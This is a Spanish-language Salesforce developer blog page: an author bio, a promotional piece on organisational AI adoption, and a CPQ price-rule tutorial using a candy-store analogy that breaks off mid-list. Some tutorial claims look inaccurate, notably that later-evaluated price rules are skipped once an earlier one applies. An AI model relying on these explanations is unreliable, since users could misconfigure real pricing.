Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Navegue por su camino hacia un futuro de IA

Navegue por su camino hacia un futuro de IA

Bienvenido a la era digital, donde la inteligencia artificial reina y las organizaciones se encuentran en la cúspide de una revolución. El futuro de la IA está aquí y está impulsando un increíble impulso empresarial. Los líderes y las personas se esfuerzan por comprender los riesgos y las oportunidades de implementar la IA. Mientras que, al mismo tiempo, están tratando de no quedarse atrás de la competencia.

Para prepararse para un futuro de IA, las empresas deben adoptar un enfoque estratégico y holístico que aborde varios factores clave. Profundicemos en los pasos esenciales para convertir su organización en una potencia impulsada por IA.

Comience con AI Cloud

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el éxito con nuestro nuevo paquete, AI Coach.

Cultivar la seguridad para conducir a los empleados

Introducir IA en una organización requiere crear un entorno seguro y de apoyo. Anime a sus equipos a aceptar el cambio y tomar riesgos. Generar confianza dentro de la organización permite que las personas se sientan seguras en sus funciones y las motiva a explorar el potencial de la IA.

Para crear un entorno seguro y de apoyo para la adopción de IA:

  • Fomentar una cultura de transparencia : Promover una comunicación abierta y honesta sobre las iniciativas de IA, abordando inquietudes y brindando explicaciones claras.
  • Fomente la innovación y la experimentación : cree oportunidades para que los empleados exploren las tecnologías de IA y experimenten con nuevas ideas. Involucre a sus equipos y empoderarlos para compartir sus perspectivas únicas en su viaje de IA.
  • Proporcione oportunidades de aprendizaje y desarrollo : demuestre el apoyo de la organización ofreciendo programas de capacitación, talleres y recursos. Sus equipos se sentirán alentados a adquirir nuevas habilidades y mejorar su comprensión de la IA.
  • Reconozca y recompense las contribuciones : reconozca y celebre a los empleados que participan en iniciativas de IA. Esto fomenta un sentido de valor y motiva a las personas a participar en la transformación de la IA.

Al cultivar una actitud positiva hacia el cambio, las organizaciones pueden prepararse para las oportunidades de un futuro de IA.

Mejorar la adopción priorizando el impacto humano

Para adoptar con éxito la IA, es importante comunicar una visión convincente centrada en el ser humano . Si bien la IA puede parecer impersonal, debemos enfatizar el impacto beneficioso que puede tener, especialmente considerando las bajas barreras de entrada que la hacen accesible a una amplia gama de usuarios.

Una de las ventajas clave de la tecnología de IA es su baja barrera de entrada. Considere el ejemplo de TikTok, una plataforma social que alcanzó los 100 millones de usuarios en solo nueve meses . En comparación, el motor de IA generativa, ChatGPT, logró el mismo hito en solo dos meses. Esto muestra la facilidad con la que se puede adoptar la tecnología de IA y el rápido ritmo al que se puede adoptar a escala mundial.

Para lograr una adopción exitosa de la IA:

  • Comunique los beneficios de la IA centrados en el ser humano : enfatice cómo la IA puede mejorar la productividad y automatizar tareas tediosas. Presente la IA como un activo valioso que aumenta, no reemplaza, el trabajo humano y como un cambio que puede acelerar el trabajo y mejorar la satisfacción laboral.
  • Encuentre y comunique beneficios específicos : Ilustre las ventajas de ahorro de tiempo de la adopción de IA. Colóquelo como un asistente personal que agiliza los flujos de trabajo y libera tiempo para un trabajo más significativo.
  • Presente un caso sólido para el cambio : comunique las consecuencias de no adoptar la IA. Reflexione sobre las mejores prácticas de la industria, destacando el ritmo sin precedentes de adopción de IA y las bajas barreras de entrada.

Al centrarse en los beneficios centrados en el ser humano y resaltar las barreras de entrada bajas, las organizaciones pueden integrar rápidamente soluciones de IA en sus flujos de trabajo sin necesidad de una amplia experiencia técnica o una inversión financiera significativa. Esta accesibilidad permite un proceso de adopción más inclusivo y abre las puertas a una variedad de industrias y sectores.

Empodere a su organización para un futuro de IA

Dotar a su organización de las herramientas y estrategias adecuadas es crucial para mantenerse competitivo e impulsar el éxito. Considere desarrollar un programa de capacitación integral y un proceso formal de adopción de IA. Con prácticas como estas, sus equipos pueden mantenerse ágiles con la tecnología en evolución.

Estos tres pasos cruciales han demostrado ser esenciales para el éxito de las transformaciones digitales:

  • Defina iniciativas de capacitación : haga que la capacitación en IA sea una parte obligatoria de la habilitación de los empleados. Salesforce, por ejemplo, reconoció la importancia de equipar a sus empleados con un enfoque seguro y reflexivo para usar la IA. Este paso fue esencial durante su cambio para convertirse en el CRM de IA n.º 1 del mundo.
  • Cree procesos formales para aumentar las tasas de adopción de la IA : no espere a que los miembros del equipo exploren la IA en su tiempo libre. Establezca procesos estructurados para integrar la innovación de IA en el trabajo de todos. Considere formar comités dedicados para impulsar los avances de la IA o medir la cantidad de ideas de IA enviadas por los ingenieros. Independientemente de la estructura que elija, formalizar el proceso de adopción es clave.
  • Sea flexible con la tecnología de IA en evolución : manténgase actualizado con los últimos avances en IA. En un panorama que cambia rápidamente, las empresas deben prepararse para adaptar y cambiar sus iniciativas. Adopte la flexibilidad y la agilidad cuando trabaje con tecnologías de IA.

Al adoptar las mejores prácticas de transformación digital e incorporar la IA en los procesos formales, las organizaciones allanan el camino para el éxito continuo en el futuro de la IA.

Impulse la transformación continua con la Oficina de Innovación Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el máximo valor de su inversión en Salesforce.

Proteja su IA

Si bien la IA presenta inmensas oportunidades, una preocupación crucial es el uso ético de la IA. Es imperativo salvaguardar los datos confidenciales de los clientes de su empresa con una plataforma de IA confiable , como AI Cloud de Salesforce , construida sobre la capa de confianza GPT de Einstein . Las plataformas de IA confiables implementan medidas sólidas de protección de datos, que incluyen encriptación, controles de acceso y cumplimiento de las normas de privacidad de datos.

Para salvaguardar sus datos confidenciales y mantener la confianza de sus clientes:

  • Establecer un marco de gobernanza ético : Promover la transparencia, la equidad y la responsabilidad en los algoritmos de IA y los procesos de toma de decisiones. Esto garantiza que la implementación responsable esté alineada con los valores de su negocio.
  • Priorice la privacidad y la seguridad de los datos : aplique medidas estrictas para proteger la información confidencial. Cumpla con las regulaciones y siga las mejores prácticas de la industria. Dado que la IA depende en gran medida de los datos, proteger esos datos fomenta la confianza entre los clientes, socios y partes interesadas.
  • Proporcione programas regulares de capacitación y actualización : asegúrese de que su capacitación de habilitación cubra los aspectos técnicos de la IA, así como la comprensión de sus limitaciones y riesgos. Con este conocimiento, los empleados pueden tomar decisiones informadas y tomar las medidas adecuadas mientras usan la IA.

Al implementar la IA de manera responsable y comprender las necesidades y los obstáculos para adoptar la IA, las organizaciones pueden convertirse en líderes confiables en la era de la inteligencia artificial.

Encienda su viaje de transformación de IA

Revolucione la productividad, la eficiencia y las experiencias de los clientes de su organización para un futuro de IA. Al crear seguridad, proporcionar una razón para el cambio centrada en el ser humano, empoderar a sus equipos y salvaguardar la IA, las organizaciones pueden experimentar una profunda transformación en empresas impulsadas por la IA.

Salesforce Professional Services ofrece una oportunidad única para las organizaciones que buscan embarcarse en su viaje de IA. Adopte AI Coach y haga uso de la experiencia de los servicios profesionales de Salesforce para maximizar el potencial de la IA. Trabajamos con usted para escalar y personalizar las experiencias de los clientes al alinearnos con los resultados comerciales, construir un camino hacia el valor comercial, prepararnos para la entrega inmediata y establecer una hoja de ruta de estado futuro que esté alineada con su visión y objetivos.

Juntos, podemos impulsar su viaje y posicionar su negocio a la vanguardia de la innovación impulsada por IA, brindando experiencias excepcionales y generando confianza en esta era digital.

Seguir leyendo

Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Imagine que está creando un sistema Salesforce CPQ para una tienda de golosinas. Vaya, será muy divertido. ¿Cómo usaría las reglas de precios para manejar promociones especiales, como una oferta de "Compre uno, llévese otro gratis" para un dulce específico? En el escenario de la tienda de golosinas, ¿cómo crearía una regla de precio para aplicar un descuento del 20 % a todos los chocolates durante el Día de San Valentín?

Entonces, ¡saltemos y exploremos las reglas de precios en el universo de Salesforce CPQ cubierto de azúcar! Yay 😊

¿Regla de precios en Salesforce CPQ?

Imagina que tienes una tienda de dulces con diferentes tipos de dulces como piruletas, ositos de goma y barras de chocolate. Cada caramelo tiene un precio diferente. Ahora, hablemos de la regla del precio:

La regla del precio es como una regla especial que creas para tu tienda de golosinas. Te ayuda a decidir cómo fijar los precios o aplicar descuentos a diferentes dulces en función de determinadas condiciones.

Por ejemplo, supongamos que desea tener una oferta de "Compre uno, llévese otro gratis" para dulces de ositos de goma. Puede crear una regla de precios que diga que cada vez que alguien compra un paquete de ositos de goma, obtiene otro paquete gratis. ¡Es como una oferta especial solo para los amantes de los ositos de goma!

O tal vez quieras tener un descuento en piruletas por tiempo limitado. Puede crear una regla de precio llamada "Venta de piruletas" que reduce el precio de las piruletas en un 20 % durante una semana. Esto hace que las piruletas sean más asequibles y anima a más personas a comprarlas.

La regla de precios le permite establecer diferentes acciones y condiciones de precios para cada tipo de dulce. Puede definir descuentos, ofertas especiales o incluso ajustar los precios en función de condiciones específicas, como la cantidad comprada o el estado de membresía del cliente.

Al crear Reglas de precios, puede hacer que su tienda de golosinas sea más emocionante y atraer a más clientes. Te ayuda a establecer precios y aplicar descuentos de una manera que hace felices a las personas y las alienta a comprar sus dulces favoritos.

Imagen

¿Cuál es la estructura de la Regla de Precios?

La regla de precios incluía tres registros relacionados:

  1. Regla de precio
  2. Precio Condición
  3. Acción del precio

La Regla de precio tiene una relación Maestro-Detalle con la Condición de precio y la Acción de precio.

Al conectar la regla de precios con las condiciones de precios secundarias relevantes, el sistema de precios garantiza que se apliquen las reglas apropiadas en función de condiciones específicas. Price Action define las acciones que se deben tomar cuando se cumplen las condiciones de precio asociadas. Especifica cómo se deben modificar los precios u otros valores de campo en función de los criterios de la regla.

1. Regla de precio: La regla de precio contiene todas las reglas específicas para la fijación de precios en la tienda de golosinas. Le dice a la tienda cómo manejar diferentes situaciones al establecer los precios de los dulces.

2. Condición de precio: Hay alguien en la tienda que verifica el tipo de dulces que desea comprar. Se aseguran de que cumpla ciertas condiciones, como ser un “Gummy Bear” o tener un sabor específico.

3. Acción del precio: una vez que el dulce pasa la inspección, hay alguien que ajusta el precio según las reglas de precios. Pueden ofrecer un descuento, cambiar la cantidad o hacer algo especial para que el precio sea más atractivo.

Importancia de los campos en la regla de precios

Los campos juegan un papel importante en las reglas de precios dentro de Salesforce CPQ. Las reglas de precios usan campos para definir condiciones, acciones y criterios que determinan cómo se aplican los cálculos de precios y los descuentos. Por lo tanto, comprenderemos cada campo en el objeto Regla de precio y su importancia con la ayuda del Ejemplo de tienda de golosinas.

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Diferencia entre Calculator y Configurator Evaluation Scope en la regla de precio en Salesforce CPQ?

Un rectángulo blanco y azul con una línea azul Descripción generada automáticamente

El campo Alcance de la evaluación es como usar esa calculadora mágica. Cuando tiene reglas de precios con el Ámbito de evaluación de la calculadora, la calculadora las utiliza para decidir cuánto debería costar algo. Tiene dos valores de lista de selección:

  • Ámbito de evaluación de la calculadora: el ámbito se trata de usar reglas especiales para calcular precios.
  • Ámbito de evaluación del configurador: seguir las reglas cuando elige diferentes opciones.

Expliquemos la diferencia entre los ámbitos de evaluación de Calculadora y Configurador en Salesforce CPQ con un ejemplo en tiempo real:

Imagina que vas a una tienda de dulces a comprar unos deliciosos dulces. Tienes un presupuesto de $10 y quieres comprar diferentes tipos de dulces según sus sabores.

Exploremos cómo entran en juego los ámbitos de evaluación de la calculadora y el configurador:

1. Ámbito de evaluación de la calculadora:

– Imagina que hay una oferta especial en la que si compras más de 5 caramelos, obtienes un 20% de descuento sobre el precio total.

– Esta oferta es un ejemplo de una regla de precio con el Ámbito de evaluación de la calculadora. La regla calcula el precio con descuento en función de la cantidad de dulces que está comprando.

– Entonces, si agrega 7 dulces a su carrito, la Calculadora evalúa la regla del precio y aplica el descuento, reduciendo el costo total.

2. Alcance de la evaluación del configurador:

– Ahora, consideremos los sabores de dulces disponibles en la tienda: fresa, chocolate y limón.

– Existe una regla que dice que si elige dulces con sabor a fresa, no puede elegir dulces con sabor a limón porque no combinan bien.

– Esta regla es un ejemplo de una regla de precio con el alcance de evaluación del configurador. Controla la disponibilidad de ciertas opciones en función de sus elecciones anteriores.

– Si ya tienes caramelos de fresa en tu carrito, el Configurador evalúa la regla y evita que selecciones caramelos de limón, asegurando que no termines con una combinación incompatible.

En este ejemplo anterior

El Ámbito de evaluación de la calculadora ayuda a calcular el precio total de sus dulces en función de ofertas especiales, descuentos y cantidad.

El Ámbito de evaluación del configurador garantiza que siga ciertas reglas al seleccionar diferentes opciones, como sabores, para evitar opciones incompatibles.

¿Explicar el evento de evaluación de la calculadora?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los eventos de evaluación de la calculadora de "Al iniciar", "Al calcular", "Antes de calcular" y "Después de calcular" con un ejemplo en tiempo real utilizando el escenario de la tienda de golosinas:

En breve:

“On Initiate” marca el comienzo del proceso de cálculo de caramelos.

“On Calculate” realiza el cálculo del precio real de los dulces.

"Antes de calcular" aplica cualquier verificación o regla final justo antes del cálculo.

"Después de calcular" permite acciones adicionales o sorpresas después de que se hayan determinado los precios.

Entendamos con más detalle:

1. Al iniciar:

– Suponga que tiene una regla de precio que establece que si el cliente es un miembro leal, obtiene un 5 % de descuento en todas las compras de golosinas.

– Esta regla de precio tendría el evento de evaluación establecido en "Al iniciar".

– Cuando el cliente inicia el proceso de cálculo del precio, como por ejemplo al comenzar una nueva cotización, el sistema verifica si es un miembro fiel y aplica el 5% de descuento a todos los dulces en su carrito desde el principio.

2. En Calcular:

– Imagine que tiene una regla de precio que ofrece un descuento por volumen si el cliente compra más de 10 dulces de cualquier sabor.

– Esta regla de precio tendría el evento de evaluación establecido en "Al calcular".

– A medida que el cliente agrega dulces a su carrito, el sistema calcula continuamente la cantidad total de dulces. Cuando alcanza o supera los 10, se activa la regla de precio y se aplica un descuento por volumen a todos los dulces del carrito.

3. Antes de calcular:

– Supongamos que tiene una regla de precio que establece que si el cliente ha seleccionado dulces con un precio total superior a $30, recibe una bolsa de dulces de cortesía.

– Esta regla de precio tendría el evento de evaluación establecido en "Antes de calcular".

– Justo antes de realizar el cálculo final, el sistema verifica si el precio total de los dulces supera los $30. Si es así, se activa la regla de precio y se agrega una bolsa de dulces de cortesía al carrito.

4. Después de calcular:

– Suponga que tiene una regla de precio que ofrece una oferta promocional especial de "Compre 2, obtenga 1 gratis" para un sabor de dulce específico.

– Esta regla de precio tendría el evento de evaluación establecido en "Después de calcular".

– Una vez que se completa el cálculo final, el sistema revisa los dulces seleccionados por el cliente e identifica si califican para la oferta "Compre 2, obtenga 1 gratis". Si lo hacen, se activa la regla de precio y el sistema agrega los dulces gratis al carrito.

Mediante el uso de estos diferentes eventos de evaluación de la calculadora, puede aplicar descuentos, ofertas o modificaciones específicas en diferentes etapas del proceso de cálculo en Salesforce CPQ.

¿Cuál es el significado del campo "Condición cumplida" en una regla de precios?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los conceptos de "Condición cumplida – Todas" y "Condición cumplida – Cualquiera" usando nuestro ejemplo de tienda de golosinas:

1. Condición cumplida – Todas:

– Imagina que tienes una tienda de golosinas con una promoción especial: si un cliente compra al menos 5 golosinas y el precio total supera los $10, recibe una bolsa de golosinas gratis.

– Esta regla de precio tendría la condición cumplida establecida en “Todos”.

– Cuando un cliente agrega 5 o más dulces a su carrito y el precio total de esos dulces supera los $10, ¡se cumplen todas las condiciones!

– Como resultado, el sistema reconoce que el cliente califica para la promoción y se agrega automáticamente una bolsa de dulces gratis a su pedido al finalizar la compra.

2. Condición cumplida – Cualquiera:

– Ahora, considere una regla de precio diferente: si un cliente compra cualquier dulce con un sabor específico (por ejemplo, “Cereza”), o si compra más de 10 dulces en total, recibe un descuento del 20%.

– Esta regla de precio tendría la condición cumplida establecida en "Cualquiera".

– Cuando un cliente selecciona un dulce con sabor a “Cereza” o agrega más de 10 dulces a su carrito, ¡cualquiera de las condiciones se cumple!

– Como resultado, el sistema aplica el 20% de descuento a los dulces que califican, independientemente de la condición que activó el descuento.

En ambos escenarios, la "Condición cumplida: todas" requiere que se cumplan todas las condiciones especificadas, mientras que la "Condición cumplida: cualquiera" solo requiere que se cumpla al menos una condición. Estos diferentes enfoques le permiten crear estrategias de precios personalizadas basadas en combinaciones específicas o criterios individuales.

¿Puede explicar el campo de objeto de búsqueda en una regla de precio con la ayuda del escenario?

Un rectángulo negro con borde azul Descripción generada automáticamente

En tu tienda de golosinas tienes diferentes tipos de golosinas con características únicas. El campo Objeto de búsqueda en el objeto Regla de precio es como una conexión especial que lo ayuda a aplicar reglas específicas a ciertos tipos de dulces.

Imagina que tienes un caramelo llamado "Rainbow Lollipop" y quieres crear una regla de precio especial para él. Así es como funciona:

1. Relación de objetos de búsqueda:

– El campo Objeto de búsqueda es como un puente que conecta la regla de precio con el caramelo “Rainbow Lollipop”.

– Te ayuda a establecer una relación especial entre la Regla de Precio y este tipo de dulce específico.

2. Acceder a la información de dulces:

– Una vez que se establece la relación de búsqueda, puede acceder a la información sobre el caramelo “Rainbow Lollipop” dentro de la regla de precio.

– Podrás conocer detalles sobre el dulce, como su sabor, color

3. Aplicación de reglas especiales:

– Al usar el campo Objeto de búsqueda, puede crear reglas especiales que solo se aplican al caramelo “Rainbow Lollipop”.

– Por ejemplo, puede crear una regla que ofrezca un descuento del 20% por cada “Rainbow Lollipop” comprado.

Al tener esta conexión especial entre la Regla de precio y el caramelo “Rainbow Lollipop” a través del campo Objeto de búsqueda, puede crear reglas únicas y personalizadas solo para ese tipo de caramelo. Te permite aplicar ofertas especiales, descuentos u otras acciones específicas al “Rainbow Lollipop” que lo hacen destacar entre otros dulces en tu tienda.

Vamos a entender con más profundidad:

El campo Objeto de búsqueda en el objeto Regla de precios es una función que le permite establecer una relación entre la Regla de precios y otro objeto en su organización de Salesforce.

1. Establecimiento de la relación de búsqueda:

– Al crear una regla de precios, puede seleccionar un objeto relacionado en el campo Objeto de búsqueda.

– Esto establece una relación de búsqueda entre la regla de precio y el objeto elegido.

– El objeto relacionado puede ser un objeto de Salesforce estándar (como Producto o Cuenta) o un objeto personalizado específico para sus necesidades comerciales.

2. Acceso a datos relacionados:

– Una vez que se establece la relación de búsqueda, puede acceder a los datos relacionados del objeto elegido dentro de la regla de precio.

– Esto significa que puede recuperar información de campos específicos en el objeto relacionado y usarla en su lógica de reglas de precios.

– Por ejemplo, si el objeto de búsqueda se establece en "Producto", puede acceder a los campos del objeto Producto, como Nombre del producto, Precio o cualquier campo personalizado relacionado con el producto.

3. Utilización del objeto de búsqueda en la lógica de la regla de precios:

– Con el campo Objeto de búsqueda, puede aprovechar los datos relacionados del objeto elegido para impulsar las condiciones y acciones de la regla de precios.

– Por ejemplo, puede crear una regla de precio que aplique un descuento basado en el valor de un campo en el objeto relacionado.

– Al hacer referencia a los campos en el objeto relacionado, puede definir condiciones y acciones que son dinámicas y adaptables en función de los valores almacenados en el objeto relacionado.

En resumen, el campo Objeto de búsqueda en la Regla de precios le permite establecer una relación con otro objeto, recuperar datos de ese objeto y usarlos en la lógica de su regla de precios.

Si no ponemos ningún nombre de objeto en el campo de objeto de búsqueda, ¿significa que no obtendrá datos de ese objeto y no podemos establecer una condición basada en un registro en particular?

Eso es correcto. Si no especifica un nombre de objeto en el campo Objeto de búsqueda de la Regla de precio, significa que la regla de precio no obtendrá datos de ningún objeto específico . Sin un objeto de búsqueda especificado, no podrá establecer condiciones ni realizar acciones basadas en un registro particular o datos de otro objeto.

El campo Objeto de búsqueda es fundamental para establecer una relación entre la regla de precios y un objeto específico. Le permite acceder y aprovechar los datos de ese objeto en la lógica de su regla de precios. Si deja el campo Objeto de búsqueda en blanco, la regla de precio no tendrá una conexión con ningún objeto, lo que limitará su capacidad para hacer referencia a datos de otros registros o aplicar condiciones basadas en valores específicos .

¿Cuál es el significado de la casilla de verificación Activa en la regla de precios?

Una captura de pantalla de una computadora Descripción generada automáticamente

Cuando la casilla de verificación "Activo" está marcada, indica que la regla de precios está activa y solo entonces se evaluará durante el proceso de cálculo de precios. Las reglas de precio inactivas no se evalúan y sus condiciones y acciones se ignoran.

¿Cómo afecta el campo Orden de evaluación a la aplicación de las Reglas de precios?

Un rectángulo blanco con líneas negras Descripción generada automáticamente

El “Orden de Evaluación” en una Regla de Precios es fundamental para definir la secuencia en la que se evalúan las reglas durante el proceso de cálculo de precios. Ayuda a establecer la prioridad y la jerarquía de las reglas cuando se aplican varias reglas. Las reglas con valores de orden de evaluación más bajos se evalúan primero.

Ejemplo de Orden de Evaluación:

Regla 1: Descuento para barras de chocolate

Orden de evaluación: 1

Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

Acción: Aplicar un 10% de descuento sobre el precio de la barra de chocolate.

Regla 2: compre uno, llévese otro gratis

Orden de evaluación: 2

Condición: la cantidad es mayor o igual a 2

Acción: Proporcionar un dulce gratis por cada dos dulces comprados.

En este ejemplo, la regla 1 tiene un orden de evaluación de 1, mientras que la regla 2 tiene un orden de evaluación de 2.

La regla 1 se evaluará primero, seguida de la regla 2.

Ahora, veamos cómo la Orden de Evaluación impacta el cálculo de precios:

Supongamos que un cliente agrega dos barras de chocolate a su carrito. La Orden de Evaluación dicta la secuencia de ejecución de la regla. La regla 1, con un Orden de Evaluación inferior a 1, se evaluará primero.

Regla 1 (Orden de evaluación 1):

Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un descuento del 10% sobre el precio de cada barra de chocolate.

Regla 2 (Orden de Evaluación 2):

La cantidad es 2 (condición cumplida), pero la regla 2 no se evaluará porque la regla 1 ya se aplicó.

Como resultado, el cliente recibe un 10% de descuento en cada barra de chocolate y no hay cambios debido a la Regla 2.

Nota: La regla 1 se evalúa primero y la regla 2 se omite porque la regla 1 ya se ha aplicado. Sólo se aplicará la primera regla. Esto se debe a que el Orden de evaluación determina la secuencia en la que se evalúan las reglas y, una vez que se aplica una regla, se omiten las reglas posteriores con valores de Orden de evaluación más altos.

¿Qué sucede si queremos que se apliquen las reglas de precios y que no se omita ninguna según el Orden de evaluación?

Si desea que se apliquen ambas reglas sin omitir ninguna de ellas, deberá asegurarse de que ambas reglas tengan el mismo valor de Orden de evaluación. Al asignar el mismo Orden de Evaluación a ambas reglas, indica que tienen la misma prioridad, y ambas serán evaluadas y aplicadas si se cumplen sus respectivas condiciones.

Modifiquemos el ejemplo para ilustrar esto:

1. Regla 1: Descuento para barras de chocolate

– Orden de Evaluación: 1

– Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

– Acción: Aplicar un 10% de descuento sobre el precio de la tableta de chocolate.

2. Regla 2: compre uno, llévese otro gratis

– Orden de Evaluación: 1

– Condición: La cantidad es mayor o igual a 2

– Acción: Proporcionar un caramelo gratis por cada dos caramelos comprados.

Con esta modificación, ambas reglas tienen un Orden de Evaluación de 1, lo que indica que tienen la misma prioridad.

Supongamos que un cliente agrega dos barras de chocolate a su carrito: la regla 1 y la regla 2, ambas con el orden de evaluación 1, se evaluarán en el orden en que aparecen.

– Regla 1 (Orden de Evaluación 1):

– Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un 10% de descuento sobre el precio de cada barra de chocolate.

– Regla 2 (Orden de Evaluación 1):

– La cantidad es 2 (condición cumplida), y como ambas reglas tienen el mismo Orden de Evaluación, también se evalúa la Regla 2.

– Se ejecuta la acción de la Regla 2, entregando un caramelo gratis por cada dos caramelos comprados.

En este escenario, dado que ambas reglas tienen el mismo Orden de Evaluación, se evalúan en el orden en que aparecen y ambas reglas se aplican si se cumplen sus condiciones. El cliente recibe un 10% de descuento en cada barra de chocolate y recibe un dulce gratis debido a la Regla 2.

¿Cómo puede definir condiciones complejas usando la función de Condición avanzada en una regla de precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos la Condición Avanzada en una Regla de Precio usando un ejemplo de caramelo:

Escenario de regla:

– Desea crear una regla de precio para los dulces que son del tipo “Gummy Bear”, tienen un sabor a “Fresa” o se encuentran dentro de un rango de precios de $1 a $5.

Creando la Condición Avanzada:

– Con la función Condición avanzada, puede definir una condición compleja que involucre múltiples campos y valores de comparación.

– En este caso, configuraría la Condición de precio asociada con la regla de precio con los siguientes componentes:

– Condición 1: Tipo de Caramelo es igual a “Osito de Gominola”

– Condición 2: Sabor igual a “Fresa”

– Condición 3: El precio está entre $1 y $5

(Candy_Type__c = 'Gummy Bear' && Flavor__c = 'Fresa') || (Precio__c >= 1 && Precio__c <= 5)

Tal como es (1 Y 2) O 3, implementaremos esta lógica utilizando la condición avanzada

¿Qué es el campo Producto en la regla de precio?

Un rectángulo blanco con líneas negras Descripción generada automáticamente

Expliquemos el campo “Producto” en una Regla de Precio usando un ejemplo de dulces de una manera simple y fácil de entender:

Imagina que tienes una tienda de dulces con una variedad de dulces, como piruletas, barras de chocolate y ositos de goma. Cada caramelo tiene su propio precio. Ahora, hablemos del campo “Producto” en una regla de precio:

1. Selección de un producto de caramelo:

– El campo “Producto” en una regla de precio le permite elegir un dulce específico del inventario de su tienda.

– Por ejemplo, puede seleccionar el caramelo “Gummy Bears” como el producto de destino para la regla de precio.

2. Aplicar acciones de fijación de precios a los dulces seleccionados:

– Una vez que haya seleccionado el caramelo "Gummy Bears" en el campo "Producto", puede definir las acciones de fijación de precios que se aplicarán específicamente a ese caramelo.

– Las acciones de fijación de precios pueden incluir cosas como descuentos u ofertas especiales.

– Por ejemplo, puede crear una regla de precio que proporcione un 10 % de descuento en el precio de los dulces “Gummy Bears”.

3. Creación de condiciones divertidas (opcional):

También puede establecer condiciones divertidas en función de las características de los dulces seleccionados.

Por ejemplo, puede crear una condición que aplique la regla del precio solo si el caramelo "Gummy Bears" es de color rojo.

Podemos agregar el producto en el campo de objeto de búsqueda en lugar del campo de producto en Salesforce, ¿cuál es la diferencia?

¡Estás en lo correcto! Además de seleccionar el producto directamente en el campo "Producto" de una regla de precios, también tiene la opción de hacer referencia al producto a través de un campo de relación de búsqueda utilizando un objeto de búsqueda. Exploremos la diferencia entre los dos enfoques:

1. Campo de producto:

– Cuando selecciona el producto directamente en el campo “Producto” de la Regla de precio, está asociando la regla de precio directamente con un producto específico.

– Este enfoque es útil cuando desea definir acciones o condiciones de fijación de precios que se aplican a un producto o grupo de productos en particular.

– Es una forma sencilla de orientar productos específicos dentro de su catálogo y definir reglas exclusivamente para esos productos.

2. Objeto de búsqueda:

– Con un objeto de búsqueda, puede establecer una relación entre la Regla de precio y otro objeto en Salesforce, como un objeto personalizado o un objeto estándar como una Cuenta u Oportunidad.

– Esto le permite hacer referencia al producto indirectamente a través del objeto relacionado.

– Mediante el uso de una relación de búsqueda, puede definir acciones o condiciones de fijación de precios en función de los datos tanto del objeto relacionado como del producto asociado.

– Este enfoque proporciona más flexibilidad en la creación de reglas que dependen de la información de otros objetos además del propio producto.

La elección entre usar el campo directo "Producto" o un objeto de búsqueda depende de su caso de uso y requisitos específicos. Si solo necesita segmentar y definir reglas para productos específicos, el uso del campo "Producto" suele ser suficiente. Sin embargo, si su lógica de precios involucra datos de objetos relacionados o requiere relaciones más complejas, puede ser beneficioso utilizar un objeto de búsqueda.

¿Cómo se especifican los grupos de productos a los que se aplica la regla de precios?

Expliquemos la implementación de grupos de productos en Reglas de precios usando un ejemplo de dulces:

1. Definir grupos de productos:

-Cree un campo personalizado de "Grupo de productos" en el objeto del producto. Establecer el valor del campo con

  • Caramelos Gomosos
  • Caramelos De Chocolate

2. Asignar atributos del producto:

– Establezca el campo "Grupo de productos" en el objeto del producto en "Caramelos de goma" para los productos de ositos de goma y gusanos de goma.

– Establezca el campo "Grupo de productos" en el objeto de producto en "Caramelos de chocolate" para barras de chocolate y productos de frutos secos cubiertos de chocolate.

3. Cree o edite una regla de precios:

– Cree una nueva regla de precios o edite una existente haciendo clic en el botón "Nuevo" o seleccionando la regla de precios deseada.

4. Asociar con el Objeto Producto:

– En el registro de Regla de precio, localice el campo de búsqueda o el campo de producto que le permite asociar la Regla de precio con el objeto que contiene el campo “Grupo de productos” (en este caso, el objeto Producto).

5. Definir condiciones:

– Dentro de la Regla de Precio, defina las condiciones de precio que especifican los grupos de productos.

– Elija el campo que representa el grupo de productos, como el campo “Grupo de productos” en el objeto asociado (objeto Producto).

– Configure el operador adecuado (p. ej., “Es igual a”) y el valor deseado para el grupo de productos (p. ej., “Caramelos de goma”).

Ejemplo: Condición 1

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de goma”

Ejemplo: Condición 2

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de Chocolate”

6. Especificar acciones de fijación de precios:

– Una vez que se cumplan las condiciones, defina las acciones de fijación de precios que desea aplicar a los productos en los grupos de productos específicos.

– Configure las acciones de fijación de precios en función de sus requisitos, como establecer descuentos, ajustar precios o aplicar cualquier otra lógica de fijación de precios que desee.

Ejemplo: Precio Acción 1

– Si se cumple la Condición 1 (Grupo de productos es igual a “Caramelos de gominola”), establezca un 10% de descuento en los productos afectados.

Ejemplo: Precio Acción 2

– Si se cumple la Condición 2 (Grupo de Producto es igual a “Dulces de Chocolate”), establecer un precio especial en los productos afectados.

¿Cuáles son algunas de las mejores prácticas para diseñar y configurar reglas de precios en Salesforce CPQ?

1. Definir requisitos claros de fijación de precios:

– Defina claramente sus requisitos de precios y comprenda el comportamiento de precios deseado.

– Identificar las estrategias de precios, las reglas de descuento y los cálculos personalizados necesarios.

2. Estructura de las reglas de precios del plan:

